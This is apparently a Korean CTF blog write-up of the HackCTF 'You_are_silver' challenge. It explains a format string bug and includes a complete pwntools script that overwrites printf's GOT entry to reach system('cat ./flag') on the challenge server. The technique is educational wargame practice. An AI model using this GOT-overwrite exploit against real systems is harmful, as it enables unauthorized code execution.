You_are_silver

2022. 4. 26. 22:38·Wargame/HackCTF

main function

마지막 printf 함수의 쓰임이 잘못되었다. 이 부분을 이용하여 FSB 공격을 진행할 수 있다.

 

또한 play_game 함수에서 system("cat ./flag"); 함수를 발견할 수 있다.

 

FSB 공격을 이용해 printf@got --> system 으로 overwrite 시킨다. ( 마땅한 함수가 printf라서 선택했다. )

 

일단 FSB 공격을 하려면 offset을 찾아야 한다. 

$ ./you_are_silver
Please enter your name
AAAAAAAA %x %x %x %x %x %x %x x
AAAAAAAA 1e4bda10 3354a8d0 1 1b77280 3376d4c0 41414141 20782520 x
You are silver.
Segmentation fault (core dumped)

6번째 %x에서 입력값인 0x41414141을 확인할 수 있다. 따라서 offset은 6이다. (x64 함수호출 규약에 의거하여 찾을 수도 있다.)

 

이제 페이로드를 작성해야 하는데, offset이 가장 관건이다.

pay = 실행시킬 함수 주소 값 + %[ offset 주소 ]$ln + 패킹 + printf@got 이런 식으로 페이로드가 짜여진다. 

 

중요한 부분은 offset 주소이다. 자료를 참고하여 올바른 offset 주소를 구해보면 8이 나온다. 또한, "ln"으로 한 이유는 8바이트를 입력하기 위해서이다.

 

( 이해가 안되면 다음 자료의 offset 지정하는 부분을 참고해도 이해하기에 좋다. https://jiravvit.tistory.com/entry/HackCTF-Pwnable-You-are-silver-%ED%92%80%EC%9D%B4-64bit-FSB )

 

Exploit Code

from pwn import *
  
#p = process("./you_are_silver")
p = remote("ctf.j0n9hyun.xyz", 3022)

context.log_level = "debug"
e= ELF('./you_are_silver')

pay = ""

cat_flag = 0x400750     # 4196176

p.recvuntil("name\n")

pay += "%4196176d" # cat ./flag
pay += "%8$ln" # offset == 8
pay += "\x00" * (16 - len(pay)) # padding
pay += p64(e.got['printf'])

p.sendline(pay)

p.interactive()
저작자표시 비영리 변경금지 (새창열림)
'Wargame/HackCTF' 카테고리의 다른 글
  • Unexploitable#1
  • World_best_encryption_tool
  • RTC
  • ROP
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    sqli
    RCE
    cache poisoning
    TsukuCTF2022
    cache
    Deep learning
    bug hunter
    Crypto
    Ubuntu 기초
    Machine Learning
    ubuntu 명령어
    Remote Code Execution
    python
    TFCCTF2022
    justCTF
    bug report
    pwntools
    Text Summarization
    GPNCTF
    Ubuntu 기초 셋팅
  • 최근 댓글

  • 최근 글

Cronus
You_are_silver
상단으로

티스토리툴바